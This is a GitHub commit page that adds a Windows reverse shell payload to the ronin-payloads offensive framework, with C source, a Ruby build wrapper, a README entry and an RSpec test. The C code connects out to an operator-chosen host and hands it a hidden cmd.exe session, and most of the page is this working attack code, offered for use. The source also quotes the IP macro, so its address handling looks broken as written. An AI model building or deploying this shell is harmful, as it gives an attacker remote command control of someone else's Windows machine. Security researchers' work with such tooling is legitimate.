Skip to content

Commit

Permalink
Added the bin/windows/reverse_shell payload (closes #97).
Browse files Browse the repository at this point in the history
  • Loading branch information
postmodern committed Dec 26, 2023
1 parent 6f8f474 commit 0c132ef
Show file tree
Hide file tree
Showing 5 changed files with 229 additions and 1 deletion.
2 changes: 1 addition & 1 deletion .github/workflows/ruby.yml
Original file line number Diff line number Diff line change
Expand Up @@ -25,7 +25,7 @@ jobs:
- name: Install dependencies
run: |
sudo apt update -y && \
sudo apt install -y --no-install-recommends --no-install-suggests yasm default-jdk
sudo apt install -y --no-install-recommends --no-install-suggests yasm gcc-mingw-w64 default-jdk
- name: Install dependencies
run: bundle install --jobs 4 --retry 3
- name: Run tests
Expand Down
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -66,6 +66,9 @@ research and development.
* macOS (x86-64)
* FreeBSD (x86)
* NetBSD (x86)
* C payloads:
* reverse shell:
* Windows (x86-64 and i686)
* Supports adding additional encoders to payloads for further obfuscation.
* Integrates with the [Ronin Post-Exploitation][ronin-post_ex] library.
* Provides a simple CLI for building, encoding, launching, and generating new
Expand Down Expand Up @@ -110,6 +113,7 @@ List available payloads:

```shell
$ ronin-payloads list
bin/windows/reverse_shell
cmd/awk/reverse_shell
cmd/bash/reverse_shell
cmd/lua/reverse_shell
Expand Down
54 changes: 54 additions & 0 deletions lib/ronin/payloads/builtin/bin/windows/reverse_shell.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,54 @@
#include <winsock2.h>
#include <windows.h>
#include <io.h>
#include <process.h>
#include <sys/types.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#if !defined(CLIENT_IP)
#error "must define CLIENT_IP"
#endif

#if !defined(CLIENT_PORT)
#error "must define CLIENT_PORT"
#endif

int main(void) {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2 ,2), &wsaData) != 0) {
write(2, "error: WSASturtup failed.\n", 27);
return (1);
}

int port = CLIENT_PORT;
struct sockaddr_in sa;
SOCKET sockt = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
sa.sin_family = AF_INET;
sa.sin_port = htons(port);
sa.sin_addr.s_addr = inet_addr("CLIENT_IP");

#ifdef WAIT_FOR_CLIENT
while (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
Sleep(5000);
}
#else
if (connect(sockt, (struct sockaddr *) &sa, sizeof(sa)) != 0) {
write(2, "error: connect failed.\n", 24);
return (1);
}
#endif

STARTUPINFO sinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES);
sinfo.hStdInput = (HANDLE)sockt;
sinfo.hStdOutput = (HANDLE)sockt;
sinfo.hStdError = (HANDLE)sockt;
PROCESS_INFORMATION pinfo;
CreateProcessA(NULL, "cmd", NULL, NULL, TRUE, CREATE_NO_WINDOW, NULL, NULL, &sinfo, &pinfo);

return (0);
}
87 changes: 87 additions & 0 deletions lib/ronin/payloads/builtin/bin/windows/reverse_shell.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,87 @@
# frozen_string_literal: true
#
# ronin-payloads - A Ruby micro-framework for writing and running exploit
# payloads.
#
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
#
# ronin-payloads is free software: you can redistribute it and/or modify
# it under the terms of the GNU Lesser General Public License as published
# by the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
#
# ronin-payloads is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public License
# along with ronin-payloads. If not, see <https://www.gnu.org/licenses/>.
#

require 'ronin/payloads/c_payload'
require 'ronin/payloads/metadata/os'
require 'ronin/payloads/mixins/reverse_shell'
require 'ronin/payloads/mixins/tempfile'

module Ronin
module Payloads
module Bin
module Windows
#
# Windows C reverse shell that executes "cmd".
#
class ReverseShell < CPayload

include Metadata::OS
include Mixins::ReverseShell
include Mixins::Tempfile

register 'bin/windows/reverse_shell'

os :windows

param :arch, Enum[:"x86-64", :i686], default: :"x86-64",
desc: "The target arch"

param :os, Enum[:windows], default: :windows,
desc: 'The target OS'

author "postmodern"

summary 'Windows C reverse shell'
description <<~DESC
Windows reverse shell that executes "cmd" and is written in C.
Note: this payload requires mingw32.
DESC

references [
"https://github.com/izenynn/c-reverse-shell#readme",
"https://github.com/izenynn/c-reverse-shell/blob/main/windows.c"
]

# The path to the `reverse_shell.c` file.
SOURCE_FILE = File.join(__dir__,'reverse_shell.c')

#
# Builds the shellcode.
#
def build
tempfile('reverse_shell', ext: '.c') do |tempfile|
compile(SOURCE_FILE, defs: {
'CLIENT_IP' => params[:host],
'CLIENT_PORT' => params[:port]
},
libs: %w[ws2_32],
output: tempfile.path)

@payload = File.binread(tempfile.path)
end
end

end
end
end
end
end
83 changes: 83 additions & 0 deletions spec/builtin/bin/windows/reverse_shell_spec.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,83 @@
require 'spec_helper'
require 'ronin/payloads/builtin/bin/windows/reverse_shell'

describe Ronin::Payloads::Bin::Windows::ReverseShell do
it "must inherit from Ronin::Payloads::Shellcode::CPayload" do
expect(described_class).to be < Ronin::Payloads::CPayload
end

it "must include Ronin::Payloads::Mixins::ReverseShell" do
expect(described_class).to include(Ronin::Payloads::Mixins::ReverseShell)
end

describe ".id" do
subject { described_class }

it "must equal 'bin/windows/reverse_shell'" do
expect(subject.id).to eq('bin/windows/reverse_shell')
end
end

describe ".os" do
subject { described_class }

it "must equal :windows" do
expect(subject.os).to be(:windows)
end
end

describe ".params" do
subject { described_class }

it "must add an arch param with :x86-64 and :i686" do
expect(subject.params[:arch]).to_not be_nil
expect(subject.params[:arch].type).to be_kind_of(
Ronin::Core::Params::Types::Enum
)
expect(subject.params[:arch].type.values).to eq([:"x86-64", :i686])
end

it "must add an os param that defaults to :windows" do
expect(subject.params[:os]).to_not be_nil
expect(subject.params[:os].type).to be_kind_of(
Ronin::Core::Params::Types::Enum
)
expect(subject.params[:os].type.values).to eq([:windows])
expect(subject.params[:os].default).to be(:windows)
end
end

describe "SOURCE_FILE" do
subject { described_class }

it "must be a file" do
expect(File.file?(subject::SOURCE_FILE)).to be(true)
end
end

let(:host) { '127.0.0.1' }
let(:port) { 1337 }

subject do
described_class.new(
params: {
host: host,
port: port
}
)
end

describe "#build" do
before { subject.build }

it "must set #payload" do
expect(subject.payload).to include(
"This program cannot be run in DOS mode".b
)
end

it "must ensure #payload is an ASCII 8bit string" do
expect(subject.payload.encoding).to eq(Encoding::ASCII_8BIT)
end
end
end

0 comments on commit 0c132ef

Please sign in to comment.